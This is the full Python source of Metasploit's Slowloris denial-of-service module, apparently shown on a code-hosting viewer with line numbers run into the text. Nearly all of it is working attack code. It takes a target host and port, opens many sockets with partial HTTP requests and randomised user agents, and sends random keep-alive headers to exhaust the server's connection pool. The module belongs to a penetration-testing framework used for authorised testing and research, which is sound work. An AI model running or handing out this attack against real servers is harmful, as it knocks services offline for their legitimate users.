Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/slowloris.py
Views: 11784
#!/usr/bin/env python312import random3import socket4import ssl5import string6import time78from metasploit import module910metadata = {11'name': 'Slowloris Denial of Service Attack',12'description': '''13Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.14It accomplishes this by opening connections to the target web server and sending a partial request.15Periodically, it will send subsequent HTTP headers, adding to-but never completing-the request.16Affected servers will keep these connections open, filling their maximum concurrent connection pool,17eventually denying additional connection attempts from clients.18''',19'authors': [20'RSnake', # Vulnerability disclosure21'Gokberk Yaltirakli', # Simple slowloris in Python22'Daniel Teixeira', # Metasploit module (Ruby)23'Matthew Kienow <matthew_kienow[AT]rapid7.com>' # Metasploit external module (Python)24],25'date': '2009-06-17',26'references': [27{'type': 'cve', 'ref': '2007-6750'},28{'type': 'cve', 'ref': '2010-2227'},29{'type': 'edb', 'ref': '8976'},30{'type': 'url', 'ref': 'https://github.com/gkbrk/slowloris'}31],32'type': 'dos',33'options': {34'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},35'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 80},36'sockets': {'type': 'int', 'description': 'The number of sockets to use in the attack', 'required': True, 'default': 150},37'delay': {'type': 'int', 'description': 'The delay between sending keep-alive headers', 'required': True, 'default': 15},38'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},39'rand_user_agent': {'type': 'bool', 'description': 'Randomizes user-agent with each request', 'required': True, 'default': True}40}}4142list_of_sockets = []43user_agents = [44"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",45"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",46"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",47"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",48"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",49"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",50"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",51"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",52"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",53"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",54"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",55"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",56"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",57"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",58"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",59"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",60"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",61"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",62"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",63"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",64"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",65"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",66"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",67"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",68"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",69]707172def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_lowercase):73return ''.join(random.choice(seq) for _ in range(size))747576def init_socket(host, port, use_ssl=False, rand_user_agent=True):77s = socket.create_connection((host, port), 10)78s.settimeout(4)7980if use_ssl:81s = ssl.wrap_socket(s)8283s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))8485if rand_user_agent:86s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))87else:88s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))8990s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))91return s929394def run(args):95host = args['rhost']96port = int(args['rport'])97use_ssl = args['ssl'] == "true"98rand_user_agent = args['rand_user_agent'] == "true"99socket_count = int(args['sockets'])100delay = int(args['delay'])101102module.log("Attacking %s with %s sockets" % (host, socket_count), 'info')103104module.log("Creating sockets...", 'info')105for i in range(socket_count):106try:107module.log("Creating socket number %s" % i, 'debug')108s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)109except socket.error:110break111list_of_sockets.append(s)112113while True:114module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')115for s in list(list_of_sockets):116try:117s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)),118random.randint(1, 5000)).encode("utf-8"))119120except socket.error:121list_of_sockets.remove(s)122123for _ in range(socket_count - len(list_of_sockets)):124module.log("Recreating socket...", 'debug')125try:126s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)127if s:128list_of_sockets.append(s)129except socket.error:130break131time.sleep(delay)132133134if __name__ == "__main__":135module.run(metadata, run)136137138